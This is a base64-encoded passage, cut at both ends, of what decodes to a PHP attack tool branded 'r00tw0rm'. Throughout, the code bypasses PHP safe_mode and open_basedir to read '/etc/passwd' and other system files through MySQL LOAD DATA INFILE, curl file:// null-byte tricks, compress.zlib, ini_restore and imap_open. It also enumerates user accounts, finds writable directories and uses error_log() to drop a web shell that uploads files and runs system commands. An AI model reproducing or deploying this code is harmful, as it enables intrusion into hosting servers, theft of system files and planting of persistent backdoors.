Ii4kaGVpZ2h0LiI+PGlucHV0IGNsYXNzPVwiaW5wdXRcIiB0eXBlPVwic3VibWl0XCIgdmFsdWU9J3IwMHR3MHJtJz48L3RkPlxuIjsNCgkJCWVjaG8gIiAg​PC90cj5cbiI7DQoJCQllY2hvICIgPC9mb3JtPlxuIjsNCgkJCWVjaG8gJGVuZCA9IGVtcHR5KCRvdmVyKSA/ICIiIDogIjwvdGFibGU+XG4iOw0KCQl9DQoNCgkJZnVuY3Rpb24gbWFrZXNlbGVjdCgkYXJnID0gYXJyYXkoKSl7DQoJCQlpZiAoJGFyZ1ttdWx0aXBsZV09PTEpIHsNCgkJCQkkbXVsdGlwbGUgPSAiIG11bHRpcGxlIjsNCgkJCQlpZiAoJGFyZ1tzaXplXT4wKSB7DQoJCQkJCSRzaXplID0gInNpemU9JGFyZ1tzaXplXSI7DQoJCQkJfQ0KCQkJ​fQ0KCQkJaWYgKCRhcmdbY3NzXT09MCkgew0KCQkJCSRjc3MgPSAiY2xhc3M9XCJpbnB1dFwiIjsNCgkJCX0NCgkJCSRzZWxlY3QgPSAiPHNlbGVjdCAkY3NzIG5hbWU9XCIkYXJnW25hbWVdXCIkbXVsdGlwbGUgJHNpemU+XG4iOw0KCQkJCWlmIChpc19hcnJheSgkYXJnW29wdGlvbl0pKSB7DQoJCQkJCWZvcmVhY2ggKCRhcmdbb3B0aW9uXSBB​UyAka2V5PT4kdmFsdWUpIHsNCgkJCQkJCWlmICghaXNfYXJyYXkoJGFyZ1tzZWxlY3RlZF0pKSB7DQoJCQkJCQkJaWYgKCRhcmdbc2VsZWN0ZWRdPT0ka2V5KSB7DQoJCQkJCQkJCSRzZWxlY3QgLj0gIjxvcHRpb24gdmFsdWU9XCIka2V5XCIgc2VsZWN0ZWQ+JHZhbHVlPC9vcHRpb24+XG4iOw0KCQkJCQkJCX0gZWxzZSB7DQoJCQkJCQkJCSRz​ZWxlY3QgLj0gIjxvcHRpb24gdmFsdWU9XCIka2V5XCI+JHZhbHVlPC9vcHRpb24+XG4iOw0KCQkJCQkJCX0NCg0KCQkJCQkJfSBlbHNlaWYgKGlzX2FycmF5KCRhcmdbc2VsZWN0ZWRdKSkgew0KCQkJCQkJCWlmICgkYXJnW3NlbGVjdGVkXVska2V5XT09MSkgew0KCQkJCQkJCQkkc2VsZWN0IC49ICI8b3B0aW9uIHZhbHVlPVwiJGtleVwiIHNl​bGVjdGVkPiR2YWx1ZTwvb3B0aW9uPlxuIjsNCgkJCQkJCQl9IGVsc2Ugew0KCQkJCQkJCQkkc2VsZWN0IC49ICI8b3B0aW9uIHZhbHVlPVwiJGtleVwiPiR2YWx1ZTwvb3B0aW9uPlxuIjsNCgkJCQkJCQl9DQoJCQkJCQl9DQoJCQkJCX0NCgkJCQl9DQoJCQkkc2VsZWN0IC49ICI8L3NlbGVjdD5cbiI7DQoJCQlyZXR1cm4gJHNlbGVjdDsNCgkJ​fQ0KCX0NCg0KDQoNCiR0Yi0+dGFibGVoZWFkZXIoKTsNCiR0Yi0+dGRib2R5KCc8dGFibGUgd2lkdGg9Ijk4JSIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMCIgY2VsbHNwYWNpbmc9IjAiPjx0cj48dGQ+PGI+PC9iPjwvdGQ+PC90cj48L3RhYmxlPicsJ2NlbnRlcicsJ3RvcCcpOw0KJHRiLT50ZGJvZHkoJzx0YWJsZSB3aWR0aD0iOTglIiBi​b3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCI+PHRyPjx0ZD4nKTsNCg0KDQokdGItPmhlYWRlcmZvcm0oYXJyYXkoJ2NvbnRlbnQnPT4nPEZPTlQgQ09MT1I9Z3JlZW4+cjNhZCBGaWwzIEZyb20gU3FsOjwvRk9OVD48YnI+JyAuJHRiLT5tYWtlaW5wdXQoJ3IwMHR3MHJtJywnL2V0Yy9wYXNzd2QnICkuJHRiLT5tYWtl​aW5wdXQoJycsRW50M3IsJ3IwMHR3MHJtJywnc3VibWl0JykpKTsNCiR0Yi0+aGVhZGVyZm9ybShhcnJheSgnY29udGVudCc9Pic8Rk9OVCBDT0xPUj1ncmVlbj5yM2FkIEZpbDMgSUQ6PC9GT05UPjxicj4nIC4kdGItPm1ha2VpZCgncGx1Z2luJywnY2F0IC9ldGMvcGFzc3dkJyApLiR0Yi0+bWFrZWlucHV0KCcnLEVudDNyLCdwbHVnaW4nLCdz​dWJtaXQnKSkpOw0KJHRiLT5oZWFkZXJmb3JtKGFycmF5KCdjb250ZW50Jz0+JzxGT05UIENPTE9SPWdyZWVuPnJlYWQgRmlsMyBDVVJMOjwvRk9OVD48YnI+JyAuJHRiLT5tYWtlaW5wdXQoJ2N1cmwnLCcvZXRjL3Bhc3N3ZCcgKS4kdGItPm1ha2VpbnB1dCgnJyxFbnQzciwnY3VybCcsJ3N1Ym1pdCcpKSk7DQokdGItPmhlYWRlcmZvcm0oYXJy​YXkoJ2NvbnRlbnQnPT4nPEZPTlQgQ09MT1I9Z3JlZW4+cjNhZCBGaWwzIENvcHk6PC9GT05UPjxicj4nIC4kdGItPm1ha2VpbnB1dCgnY29weScsJy9ldGMvcGFzc3dkJyApLiR0Yi0+bWFrZWlucHV0KCcnLEVudDNyLCdjb3B5Jywnc3VibWl0JykpKTsNCiR0Yi0+aGVhZGVyZm9ybShhcnJheSgnY29udGVudCc9Pic8Rk9OVCBDT0xPUj1ncmVl​bj5yM2FkIEZpbDMgaW5pX3Jlc3RvcmU6PC9GT05UPjxicj4nIC4kdGItPm1ha2VpbnB1dCgnTTInLCcvZXRjL3Bhc3N3ZCcgKS4kdGItPm1ha2VpbnB1dCgnJyxFbnQzciwnTTInLCdzdWJtaXQnKSkpOw0KJHRiLT5oZWFkZXJmb3JtKGFycmF5KCdjb250ZW50Jz0+JzxGT05UIENPTE9SPWdyZWVuPnIzYWQgRmlsMyBvciBkaXI6PC9GT05UPjxi​cj4nIC4kdGItPm1ha2VpbXAoJ3N3aXRjaCcsJy9ldGMvcGFzc3dkJyApLiR0Yi0+bWFrZWlucHV0KCdzdHJpbmcnLCcvZXRjL3Bhc3N3ZCcgKS4kdGItPm1ha2VpbnB1dCgnc3RyaW5nJywnRW50M3InLCcnLCdzdWJtaXQnKSkpOw0KJHRiLT5oZWFkZXJmb3JtKGFycmF5KCdjb250ZW50Jz0+JzxGT05UIENPTE9SPWdyZWVuPk1hazMgRmlsMyAz​Uk9SUjo8L0ZPTlQ+PGJyPicgLiR0Yi0+bWFrZWlucHV0KCdFUicsJ3IwMHR3MHJtLnBocCcgKS4kdGItPm1ha2VpbnB1dCgnRVInLCdzdWJtaXQnLCdFUicsJ3N1Ym1pdCcpKSk7DQoNCg0KDQovLyByZWFkIGZpbGUgU1FMICggKSAvLw0KaWYoZW1wdHkoJF9QT1NUWydyMDB0dzBybSddKSl7DQp9IGVsc2Ugew0KZWNobyAicjNhZCBGaWwzIEZy​b20gU3FsIiwiPGJyPiIgOw0KZWNobyAiPHRleHRhcmVhIG1ldGhvZD0nUE9TVCcgY29scz0nOTUnIHJvd3M9JzMwJyB3cmFyPSdvZmYnID4iOw0KJGZpbGU9JF9QT1NUWydyMDB0dzBybSddOw0KDQoNCiRteXNxbF9maWxlc19zdHIgPSAiL2V0Yy9wYXNzd2Q6L3Byb2MvY3B1aW5mbzovZXRjL3Jlc29sdi5jb25mOi9ldGMvcHJvZnRwZC5jb25m​IjsNCiRteXNxbF9maWxlcyA9IGV4cGxvZGUoJzonLCAkbXlzcWxfZmlsZXNfc3RyKTsNCg0KJHNxbCA9IGFycmF5ICgNCiJVU0UgJG1kYiIsDQonQ1JFQVRFIFRFTVBPUkFSWSBUQUJMRSAnIC4gKCR0YmwgPSAnQScudGltZSAoKSkgLiAnIChhIExPTkdCTE9CKScsDQoiTE9BRCBEQVRBIExPQ0FMIElORklMRSAnJGZpbGUnIElOVE8gVEFCTEUg​JHRibCBGSUVMRFMgIg0KLiAiVEVSTUlOQVRFRCBCWSAgICAgICAnX19USElTX05FVkVSX0hBUFBFTlNfXycgIg0KLiAiRVNDQVBFRCBCWSAgICAgICAgICAnJyAiDQouICJMSU5FUyBURVJNSU5BVEVEIEJZICdfX1RISVNfTkVWRVJfSEFQUEVOU19fJyIsDQoNCiJTRUxFQ1QgYSBGUk9NICR0YmwgTElNSVQgMSINCik7DQpteXNxbF9jb25uZWN0​ICgkbWhvc3QsICRtdXNlciwgJG1wYXNzKTsNCg0KCQkJCQkJCQlmb3JlYWNoICgkc3FsIGFzICRzdGF0ZW1lbnQpIHsNCgkJCQkJCQkJICAgJHEgPSBteXNxbF9xdWVyeSAoJHN0YXRlbWVudCk7DQoNCgkJCQkJCQkJICAgaWYgKCRxID09IGZhbHNlKSBkaWUgKA0KCQkJCQkJCQkgICAgICAiRkFJTEVEOiAiIC4gJHN0YXRlbWVudCAuICJcbiIg​Lg0KCQkJCQkJCQkgICAgICAiUkVBU09OOiAiIC4gbXlzcWxfZXJyb3IgKCkgLiAiXG4iDQoJCQkJCQkJCSAgICk7DQoNCgkJCQkJCQkJICAgaWYgKCEgJHIgPSBAbXlzcWxfZmV0Y2hfYXJyYXkgKCRxLCBNWVNRTF9OVU0pKSBjb250aW51ZTsNCg0KCQkJCQkJCQkgICBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHJbMF0pOw0KCQkJCQkJCQkgICBt​eXNxbF9mcmVlX3Jlc3VsdCAoJHEpOw0KCQkJCQkJCQl9DQplY2hvICI8L3RleHRhcmVhPiI7DQp9DQovLyBFUk9SUiAvLw0KaWYoZW1wdHkoJF9QT1NUWydFUiddKSl7DQp9IGVsc2Ugew0KJEVST1JSPSRfUE9TVFsnRVInXTsNCmVjaG8gIGVycm9yX2xvZygiDQo8aHRtbD4NCjxoZWFkPg0KPHRpdGxlPiBFeHBsb2l0OiBlcnJvcl9sb2coKUJ5​IHIwMHR3MHJtIFRlYW0gPC90aXRsZT4NCjxib2R5IGJnY29sb3I9XCIjMDAwMDAwXCI+DQo8dGFibGUgV2lkdGg9JzEwMCUnIGhlaWdodD0nMTAlJyBiZ2NvbG9yPScjOEMwNDA0JyBib3JkZXI9JzEnPg0KPHRyPg0KPHRkPjxjZW50ZXI+PGZvbnQgc2l6ZT0nNicgY29sb3I9JyNCQkI1MTYnPkJ5IHIwMHR3MHJtIFRlYW08L2ZvbnQ+PC9jZW50​ZXI+PC90ZD4NCjwvdHI+DQo8L3RhYmxlPg0KPGZvbnQgY29sb3I9JyNGRjAwMDAnPg0KPC9oZWFkPg0KPD8NCmlmKFwkZmlsZXVwID09IFwiXCIpew0KRUNITyBcIiByZWFkZSBmb3IgdXAgXCI7DQp9ZWxzZXsNClwkcGF0aD0gZXhlYyhcInB3ZFwiKTsNClwkcGF0aCAuPSBcIi9cJGZpbGV1cF9uYW1lXCI7DQpcJENvcHlGaWxlID0gY29weShc​JGZpbGV1cCxcIlwkcGF0aFwiKTsNCmlmKFwkQ29weUZpbGUpew0KZWNobyBcIiB1cCBvayBcIjsNCn1lbHNlew0KZWNobyBcIiBubyB1cCBcIjsNCn0NCn0NCmlmKGVtcHR5KFwkX1BPU1RbJ20nXSkpew0KfSBlbHNlIHsNClwkbT1cJF9QT1NUWydtJ107DQplY2hvICBzeXN0ZW0oXCRtKTsNCn0NCmlmKGVtcHR5KFwkX1BPU1RbJ2NtZCddKSl7​DQp9IGVsc2Ugew0KXCRoPSAgXCRfUE9TVFsnY21kJ107DQogcHJpbnQgaW5jbHVkZShcJGgpIDsNCn0NCj8+DQo8Zm9ybSBtZXRob2Q9J1BPU1QnIGVuY3R5cGU9J211bHRpcGFydC9mb3JtLWRhdGEnID4NCjxpbnB1dCB0eXBlPSdmaWxlJyBuYW1lPSdmaWxldXAnIHNpemU9JzIwJz4NCjxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPScgIHVw​ICAnPg0KPC9mb3JtPg0KPGZvcm0gbWV0aG9kPSdQT1NUJyAgPg0KPGlucHV0IHR5cGU9J2NtZCcgbmFtZT0nY21kJyBzaXplPScyMCc+DQo8aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nICBvcGVuIChzaGlsbC50eHQpICc+DQo8L2Zvcm0+DQo8Zm9ybSBtZXRob2Q9J1BPU1QnIGVuY3R5cGU9J211bHRpcGFydC9mb3JtLWRhdGEnID4NCjxp​bnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdtJyBzaXplPScyMCc+DQo8aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nICBydW4gICc+DQo8aW5wdXQgdHlwZT0ncmVzZXQnIHZhbHVlPScgcmVzZXQgJz4NCjwvZm9ybT4NCiIsIDMsJEVST1JSKTsNCn0NCg0KLy8gaWQgLy8NCmlmICgkX1BPU1RbJ3BsdWdpbiddICl7DQplY2hvICJyM2FkIEZpbGUg​SUQiICwiPGJyPiI7DQplY2hvICI8dGV4dGFyZWEgbWV0aG9kPSdQT1NUJyBjb2xzPSc5NScgcm93cz0nMzAnIHdyYXI9J29mZicgPiI7DQoNCg0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9yKCR1aWQ9MDskdWlkPDYwMDAwOyR1aWQrKyl7ICAgLy9jYXQgL2V0Yy9wYXNzd2QNCiAgICAgICAgICAgICAg​ICAgICAgICAgICAgICAgICAgICAgICAgICAkYXJhID0gcG9zaXhfZ2V0cHd1aWQoJHVpZCk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoIWVtcHR5KCRhcmEpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHdoaWxlIChsaXN0ICgka2V5LCAk​dmFsKSA9IGVhY2goJGFyYSkpew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHByaW50ICIkdmFsOiI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcHJp​bnQgIlxuIjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8L3RleHRhcmVhPiI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFr​Ow0KDQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KDQovLyBDVVJMIC8vDQppZihlbXB0eSgkX1BPU1RbJ2N1cmwnXSkpew0KDQp9IGVsc2Ugew0KZWNobyAicjNhZCBGaWwzIENVUkwiLCI8YnI+IiA7DQplY2hvICI8dGV4dGFyZWEgbWV0aG9kPSdQT1NUJyBjb2xzPSc5NScgcm93cz0nMzAnIHdy​YXI9J29mZicgPiI7DQokbT0kX1BPU1RbJ2N1cmwnXTsNCiRjaCA9DQpjdXJsX2luaXQoImZpbGU6Ly8vIi4kbS4iXHgwMC8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8iLl9fRklMRV9fKTsNCmN1cmxfZXhlYygkY2gpOw0KdmFyX2R1bXAoY3VybF9leGVjKCRjaCkpOw0KZWNobyAiPC90ZXh0YXJlYT4iOw0KfQ0KDQovLyBj​b3B5Ly8NCiR1MXA9IiI7DQokdHltY3phcz0iIjsNCmlmKGVtcHR5KCRfUE9TVFsnY29weSddKSl7DQp9IGVsc2Ugew0KZWNobyAicjNhZCBGaWwzIENvcHkiICwiPGJyPiI7DQplY2hvICI8dGV4dGFyZWEgbWV0aG9kPSdQT1NUJyBjb2xzPSc5NScgcm93cz0nMzAnIHdyYXI9J29mZicgPiI7DQokdTFwPSRfUE9TVFsnY29weSddOw0KJHRlbXA9​dGVtcG5hbSgkdHltY3phcywgImN4Iik7DQppZihjb3B5KCJjb21wcmVzcy56bGliOi8vIi4kdTFwLCAkdGVtcCkpew0KJHpyb2RsbyA9IGZvcGVuKCR0ZW1wLCAiciIpOw0KJHRla3N0ID0gZnJlYWQoJHpyb2RsbywgZmlsZXNpemUoJHRlbXApKTsNCmZjbG9zZSgkenJvZGxvKTsNCmVjaG8gIiIuaHRtbHNwZWNpYWxjaGFycygkdGVrc3QpLiIi​Ow0KdW5saW5rKCR0ZW1wKTsNCmVjaG8gIjwvdGV4dGFyZWE+IjsNCn0gZWxzZSB7DQpkaWUoIjxGT05UIENPTE9SPVwiR3JlZW5cIj48Q0VOVEVSPlNvcnJ5Li4uIEZpbGUNCjxCPiIuaHRtbHNwZWNpYWxjaGFycygkdTFwKS4iPC9CPiBkb3Nlbid0IGV4aXN0cyBvciB5b3UgZG9uJ3QgaGF2ZQ0KYWNjZXNzLjwvQ0VOVEVSPjwvRk9OVD4iKTsN​Cn0NCn0NCg0KLy8vIGluaV9yZXN0b3JlIC8vDQppZihlbXB0eSgkX1BPU1RbJ00yJ10pKXsNCn0gZWxzZSB7DQplY2hvICJyM2FkIEZpbDMgaW5pX3Jlc3RvcmUiLCI8YnI+ICI7DQplY2hvICI8dGV4dGFyZWEgbWV0aG9kPSdQT1NUJyBjb2xzPSc5NScgcm93cz0nMzAnIHdyYXI9J29mZicgPiI7DQokbT0kX1BPU1RbJ00yJ107DQplY2hvIGlu​aV9nZXQoInNhZmVfbW9kZSIpOw0KZWNobyBpbmlfZ2V0KCJvcGVuX2Jhc2VkaXIiKTsNCiRzPXJlYWRmaWxlKCIkbSIpOw0KaW5pX3Jlc3RvcmUoInNhZmVfbW9kZSIpOw0KaW5pX3Jlc3RvcmUoIm9wZW5fYmFzZWRpciIpOw0KZWNobyBpbmlfZ2V0KCJzYWZlX21vZGUiKTsNCmVjaG8gaW5pX2dldCgib3Blbl9iYXNlZGlyIik7DQokcz1yZWFk​ZmlsZSgiJG0iKTsNCmVjaG8gIjwvdGV4dGFyZWE+IjsNCn0NCg0KLy8gaW1hcCAvLw0KDQokc3RyaW5nID0gIWVtcHR5KCRfUE9TVFsnc3RyaW5nJ10pID8gJF9QT1NUWydzdHJpbmcnXSA6IDA7DQokc3dpdGNoID0gIWVtcHR5KCRfUE9TVFsnc3dpdGNoJ10pID8gJF9QT1NUWydzd2l0Y2gnXSA6IDA7DQoNCmlmICgkc3RyaW5nICYmICRzd2l0​Y2ggPT0gImZpbGUiKSB7DQplY2hvICJyM2FkIEZpbDMgaW1hcCIgLCI8YnI+IjsNCmVjaG8gIjx0ZXh0YXJlYSBtZXRob2Q9J1BPU1QnIGNvbHM9Jzk1JyByb3dzPSczMCcgd3Jhcj0nb2ZmJyA+IjsNCg0KJHN0cmVhbSA9IGltYXBfb3Blbigkc3RyaW5nLCAiIiwgIiIpOw0KDQokc3RyID0gaW1hcF9ib2R5KCRzdHJlYW0sIDEpOw0KaWYgKCFl​bXB0eSgkc3RyKSkNCmVjaG8gIjxwcmU+Ii4kc3RyLiI8L3ByZT4iOw0KaW1hcF9jbG9zZSgkc3RyZWFtKTsNCmVjaG8gIjwvdGV4dGFyZWE+IjsNCn0gZWxzZWlmICgkc3RyaW5nICYmICRzd2l0Y2ggPT0gImRpciIpIHsNCmVjaG8gInJlYWQgIGRpciBpbWFwIiwiPGJyPiIgOw0KZWNobyAiPHRleHRhcmVhIG1ldGhvZD0nUE9TVCcgY29scz0n​OTUnIHJvd3M9JzMwJyB3cmFyPSdvZmYnID4iOw0KDQokc3RyZWFtID0gaW1hcF9vcGVuKCIvZXRjL3Bhc3N3ZCIsICIiLCAiIik7DQppZiAoJHN0cmVhbSA9PSBGQUxTRSkNCmRpZSgiQ2FuJ3Qgb3BlbiBpbWFwIHN0cmVhbSIpOw0KJHN0cmluZyA9IGV4cGxvZGUoInwiLCRzdHJpbmcpOw0KaWYgKGNvdW50KCRzdHJpbmcpID4gMSkNCiRkaXJf​bGlzdCA9IGltYXBfbGlzdCgkc3RyZWFtLCB0cmltKCRzdHJpbmdbMF0pLCB0cmltKCRzdHJpbmdbMV0pKTsNCmVsc2UNCiRkaXJfbGlzdCA9IGltYXBfbGlzdCgkc3RyZWFtLCB0cmltKCRzdHJpbmdbMF0pLCAiKiIpOw0KZWNobyAiPHByZT4iOw0KZm9yICgkaSA9IDA7ICRpIDwgY291bnQoJGRpcl9saXN0KTsgJGkrKykNCmVjaG8gIiRkaXJf​bGlzdFskaV0iLiI8cD4mbmJzcDs8L3A+IiA7DQplY2hvICI8L3ByZT4iOw0KaW1hcF9jbG9zZSgkc3RyZWFtKTsNCmVjaG8gIjwvdGV4dGFyZWE+IjsNCn0NCiR0Yi0+dGRib2R5ICgiPC90ZD48L3RyPjwvdGFibGU+Iik7DQovLyBvcGVuIGRpciAvLw0KJHRiLT50YWJsZWhlYWRlcigpOw0KJHRiLT50ZGJvZHkoJzx0YWJsZSB3aWR0aD0iOTgl​IiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCI+PHRyPjx0ZD4nKTsNCg0KaWYoZW1wdHkoJF9QT1NUWydtJ10pKXsNCmVjaG8gIjxkaXY+PEZPUk0gbWV0aG9kPSdQT1NUJyBhY3Rpb249JyRSRVFVRVNUX1VSSScgZW5jdHlwZT0nbXVsdGlwYXJ0L2Zvcm0tZGF0YSc+DQo8dGFibGUgaWQ9dGI+PHRyPjx0ZD48Rk9O​VCBDT0xPUj1cImdyZWVuXCI+RGlyM2N0b3J5PC9GT05UPg0KPElOUFVUIHR5cGU9J3RleHQnIG5hbWU9J20nIHNpemU9MTAwIHZhbHVlPScuLyc+DQo8SU5QVVQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nRW50M3InIGlkPWlucHV0PjwvdGQ+PC90cj48L3RhYmxlPjwvZm9ybT48L2Rpdj4iOw0KDQoNCn0gZWxzZSB7DQokbT0kX1BPU1RbJ20nXTsN​CiRzcGF0aCA9ICRtIDsNCiRwYXRoID0gJG0gOw0KDQoNCg0KDQogICAgICAgICRtZXRob2QgPSBpbnR2YWwodHJpbSgkX1BPU1RbJ21ldGhvZCddKSk7DQoNCiAgICAgICAgJGhhbmRsZSA9IG9wZW5kaXIoJHBhdGgpOw0KDQogICAgICAgICRfZm9sZGVycyA9IGFycmF5KCk7DQoNCiAgICAgICAgJGkgPSAwOw0KDQogICAgICAgIHdoaWxlIChm​YWxzZSAhPT0gKCRmaWxlID0gcmVhZGRpcigkaGFuZGxlKSkpDQogICAgICAgIHsNCiAgICAgICAgICAgICAgICAkZnVsbF9wYXRoID0gIiRwYXRoLyRmaWxlIjsNCiAgICAgICAgICAgICAgICAkcGVybXMgPSBzdWJzdHIoc3ByaW50ZignJW8nLCBmaWxlcGVybXMoJGZ1bGxfcGF0aCkpLCAtNCk7DQoNCiAgICAgICAgICAgICAgICBpZiAoKGlz​X2RpcigkZnVsbF9wYXRoKSkgJiYgKCRwZXJtcyA9PSAnMDc3NycpKQ0KICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmICghZmlsZV9leGlzdHMoJy4qJykpIHsNCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkX2ZvbGRlcnNbJGldID0gJGZpbGU7DQoNCiAgICAgICAgICAgICAgICAgICAgICAg​ICAgICAgICAgJGkrKzsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICB9DQogICAgICAgIH0NCg0KDQogICAgICAgIGNsb3NlZGlyKCRoYW5kbGUpOw0KICAgICAgICBjbGVhcnN0YXRjYWNoZSgpOw0KDQoNCg0KICAgICAgICBlY2hvICc8c3Ryb25nPjxGT05UIENPTE9SPSMwMEZGMDA+VGhlIGZvbGRlcnMgaXMg​Nzc3IDo8L3N0cm9uZz48YnIgLz4nOw0KDQogICAgICAgIGZvcmVhY2ggKCRfZm9sZGVycyBhcyAkZm9sZGVyKQ0KICAgICAgICB7DQogICAgICAgICAgICAgICAgZWNobyAkZm9sZGVyLic8YnIgLz4nOw0KICAgICAgICB9DQovLy8vLy8vLy8vDQokaGFuZGxlID0gb3BlbmRpcigkcGF0aCk7DQoNCiAgICAgICAgJF9mb2xkZXJzID0gYXJyYXko​KTsNCg0KICAgICAgICAkaSA9IDA7DQoNCiB3aGlsZSAoZmFsc2UgIT09ICgkZmlsZTEgPSByZWFkZGlyKCRoYW5kbGUpKSkNCiAgICAgICAgew0KICAgICAgICAgICAgICAgICRmdWxsX3BhdGggPSAiJHBhdGgvJGZpbGUxIjsNCiAgICAgICAgICAgICAgICAkcGVybXMgPSBzdWJzdHIoc3ByaW50ZignJW8nLCBmaWxlcGVybXMoJGZ1bGxfcGF0​aCkpLCAtNCk7DQoNCiAgICAgICAgICAgICAgICBpZiAoKGlzX2RpcigkZnVsbF9wYXRoKSkgJiYgKCRwZXJtcyA9PSAnMDc1NScpKQ0KICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmICghZmlsZV9leGlzdHMoJy4qJykpIHsNCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkX2ZvbGRlcnNbJGld​ID0gJGZpbGUxOw0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRpKys7DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICB9DQoNCg0KDQogICAgICAgIGNsZWFyc3RhdGNhY2hlKCk7DQoNCg0KDQogICAgICAgIGVjaG8gJzwvRk9OVD48c3Ryb25nPjxGT05UIENPTE9SPSNGRjk5​MDA+VGhlIGZvbGRlcnMgaXMgNzU1IDo8L3N0cm9uZz48YnIgLz4nOw0KDQogICAgICAgIGZvcmVhY2ggKCRfZm9sZGVycyBhcyAkZm9sZGVyKQ0KICAgICAgICB7DQogICAgICAgICAgICAgICAgZWNobyAkZm9sZGVyLic8YnIgLz4nOw0KICAgICAgICB9DQovLy8vLy8vLy8vDQokaGFuZGxlID0gb3BlbmRpcigkcGF0aCk7DQoNCiAgICAgICAg​JF9mb2xkZXJzID0gYXJyYXkoKTsNCg0KICAgICAgICAkaSA9IDA7DQoNCiB3aGlsZSAoZmFsc2UgIT09ICgkZmlsZTEgPSByZWFkZGlyKCRoYW5kbGUpKSkNCiAgICAgICAgew0KICAgICAgICAgICAgICAgICRmdWxsX3BhdGggPSAiJHBhdGgvJGZpbGUxIjsNCiAgICAgICAgICAgICAgICAkcGVybXMgPSBzdWJzdHIoc3ByaW50ZignJW8nLCBm​aWxlcGVybXMoJGZ1bGxfcGF0aCkpLCAtNCk7DQoNCiAgICAgICAgICAgICAgICBpZiAoKGlzX2RpcigkZnVsbF9wYXRoKSkgJiYgKCRwZXJtcyA9PSAnMDY0NCcpKQ0KICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmICghZmlsZV9leGlzdHMoJy4qJykpIHsNCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAg​ICAgICAkX2ZvbGRlcnNbJGldID0gJGZpbGUxOw0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRpKys7DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICB9DQoNCg0KDQogICAgICAgIGNsZWFyc3RhdGNhY2hlKCk7DQoNCg0KDQogICAgICAgIGVjaG8gJzwvRk9OVD48c3Ryb25n​PjxGT05UIENPTE9SPSNDQzk5OTk+VGhlIGZvbGRlcnMgaXMgNjQ0IDo8L3N0cm9uZz48YnIgLz4nOw0KDQogICAgICAgIGZvcmVhY2ggKCRfZm9sZGVycyBhcyAkZm9sZGVyKQ0KICAgICAgICB7DQogICAgICAgICAgICAgICAgZWNobyAkZm9sZGVyLic8YnIgLz4nOw0KICAgICAgICB9DQovLy8vLy8vLy8vDQokaGFuZGxlID0gb3BlbmRpcigk​cGF0aCk7DQoNCiAgICAgICAgJF9mb2xkZXJzID0gYXJyYXkoKTsNCg0KICAgICAgICAkaSA9IDA7DQoNCiB3aGlsZSAoZmFsc2UgIT09ICgkZmlsZTEgPSByZWFkZGlyKCRoYW5kbGUpKSkNCiAgICAgICAgew0KICAgICAgICAgICAgICAgICRmdWxsX3BhdGggPSAiJHBhdGgvJGZpbGUxIjsNCiAgICAgICAgICAgICAgICAkcGVybXMgPSBzdWJz​dHIoc3ByaW50ZignJW8nLCBmaWxlcGVybXMoJGZ1bGxfcGF0aCkpLCAtNCk7DQoNCiAgICAgICAgICAgICAgICBpZiAoKGlzX2RpcigkZnVsbF9wYXRoKSkgJiYgKCRwZXJtcyA9PSAnMDc1MCcpKQ0KICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmICghZmlsZV9leGlzdHMoJy4qJykpIHsNCg0KICAgICAgICAg​ICAgICAgICAgICAgICAgICAgICAgICAkX2ZvbGRlcnNbJGldID0gJGZpbGUxOw0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRpKys7DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICB9DQoNCg0KDQogICAgICAgIGNsZWFyc3RhdGNhY2hlKCk7DQoNCg0KDQogICAgICAgIGVj​aG8gJzwvRk9OVD48c3Ryb25nPjxGT05UIENPTE9SPSM5OTk5Q0M+VGhlIGZvbGRlcnMgaXMgNzUwIDo8L3N0cm9uZz48YnIgLz4nOw0KDQogICAgICAgIGZvcmVhY2ggKCRfZm9sZGVycyBhcyAkZm9sZGVy